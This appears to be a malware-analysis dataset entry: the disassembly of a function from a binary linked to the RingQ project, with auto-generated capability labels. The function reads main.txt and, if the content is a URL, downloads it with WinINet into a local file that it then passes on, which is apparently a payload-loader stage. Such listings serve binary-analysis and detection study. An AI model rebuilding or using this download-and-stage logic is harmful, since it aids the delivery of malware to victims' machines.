Function at 0x140002780
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x3c0]
sub rsp, 0x4c0
xor r14d, r14d
lea rdx, str._______________RingQ_:_
call fcn.140004f10
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004bf0
movzx edx, al
mov rcx, rbx
call fcn.140005ca0
mov rcx, rbx
call fcn.140005b70
lea rdx, str.Github:_https:__github.com_T4y1oR_RingQ
call fcn.140004f10
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004bf0
movzx edx, al
mov rcx, rbx
call fcn.140005ca0
mov rcx, rbx
call fcn.140005b70
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x14000fda0]
movdqu xmmword [rbp - 0x50], xmm1
movabs r15, 0x7478742e6e69616d
mov qword [rbp - 0x60], r15
mov byte [rbp - 0x58], r14b
lea r8d, [r14 + 1]
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x40]
call fcn.1400044f0
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea r8, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], r8
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x44], edx
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
mov ebx, dword [rbp + rcx - 0x30]
mov qword [rbp + rcx - 0x40], r8
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x44], edx
lea rcx, [rbp - 0x30]
call fcn.140003a10
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], rax
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x44], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x70], rax
lea rcx, [rbp + 0x70]
call fcn.14000709c
nop
test ebx, ebx
jne 0x1400028d7
lea rcx, [rbp - 0x60]
call fcn.140002150
jmp 0x140002d64
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r9d, 0x100
lea r8, [rbp - 0x40]
mov edx, 0x65
mov rcx, rax
call qword [sym.imp.USER32.dll_LoadStringW]
test eax, eax
jle 0x14000291d
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x60]
call fcn.140003dc0
movups xmm0, xmmword [rsp + 0x60]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rsp + 0x70]
movups xmmword [rbp - 0x70], xmm1
jmp 0x14000292e
lea rdx, [0x14000fcc8]
lea rcx, [rbp - 0x80]
call fcn.140003dc0
nop
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x40]
call fcn.140001f60
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
call fcn.140006260
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004bf0
movzx edx, al
mov rcx, rbx
call fcn.140005ca0
mov rcx, rbx
call fcn.140005b70
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
mov r8d, 4
cmp qword [rsp + 0x50], r8
cmovb r8, qword [rsp + 0x50]
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.140005500
lea rcx, [rsp + 0x60]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x78]
cmp rsi, 0xf
cmova rcx, rbx
mov r8, qword [rsp + 0x70]
cmp r8, 4
jne 0x1400029f3
lea rdx, str.http
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x1400029f3
mov dil, 1
jmp 0x1400029f6
xor dil, dil
cmp rsi, 0xf
jbe 0x140002a2d
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140002a25
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002dba
mov rcx, rbx
call fcn.1400079a8
test dil, dil
je 0x140002c1f
lea rdx, str.Loading_StringTable_...
call fcn.140004f10
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004bf0
movzx edx, al
mov rcx, rbx
call fcn.140005ca0
mov rcx, rbx
call fcn.140005b70
xor ecx, ecx
call qword [sym.imp.msvcrt.dll__time64]
mov rcx, rax
call qword [sym.imp.msvcrt.dll_srand]
mov rbx, r14
nop dword [rax]
call qword [sym.imp.msvcrt.dll_rand]
inc rbx
cmp rbx, 0x64
jl 0x140002a80
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [0x14000fda0]
movdqu xmmword [rsp + 0x70], xmm1
mov qword [rsp + 0x60], r15
mov byte [rsp + 0x68], 0
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, str.Download
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140002bce
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x140002bc5
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rcx, qword [rsp + 0x60]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
je 0x140002bbf
lea r9, [rbp + 0x3f0]
mov r8d, 0x400
lea rdx, [rbp - 0x40]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140002bb3
nop
mov r8d, dword [rbp + 0x3f0]
test r8d, r8d
je 0x140002bb3
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x3f8]
lea rdx, [rbp - 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rbp + 0x3f0]
mov r8d, 0x400
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140002b70
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, [rsp + 0x60]
call fcn.140002150
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140002cc2
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002dc0
call fcn.1400079a8
jmp 0x140002cc2
lea rdx, str.Loading_LocalFile_...
call fcn.140004f10
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004bf0
movzx edx, al
mov rcx, rbx
call fcn.140005ca0
mov rcx, rbx
call fcn.140005b70
xor ecx, ecx
call qword [sym.imp.msvcrt.dll__time64]
mov rcx, rax
call qword [sym.imp.msvcrt.dll_srand]
mov rbx, r14
call qword [sym.imp.msvcrt.dll_rand]
inc rbx
cmp rbx, 0x64
jl 0x140002c66
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
call fcn.140006260
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140004bf0
movzx edx, al
mov rcx, rbx
call fcn.140005ca0
mov rcx, rbx
call fcn.140005b70
lea rcx, [rsp + 0x40]
call fcn.140002150
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140002cff
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002cfa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002dc6
call fcn.1400079a8
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x140002d52
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d4d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002dcc
call fcn.1400079a8
movdqa xmm0, xmmword [0x14000fd80]
movdqu xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x80], r14w
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140002d9b
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d96
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002db4
call fcn.1400079a8
xor eax, eax
mov rbx, qword [rsp + 0x500]
add rsp, 0x4c0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.14000bc90
nop
call fcn.14000bc90
nop
call fcn.14000bc90
nop
call fcn.14000bc90
nop
call fcn.14000bc90
int3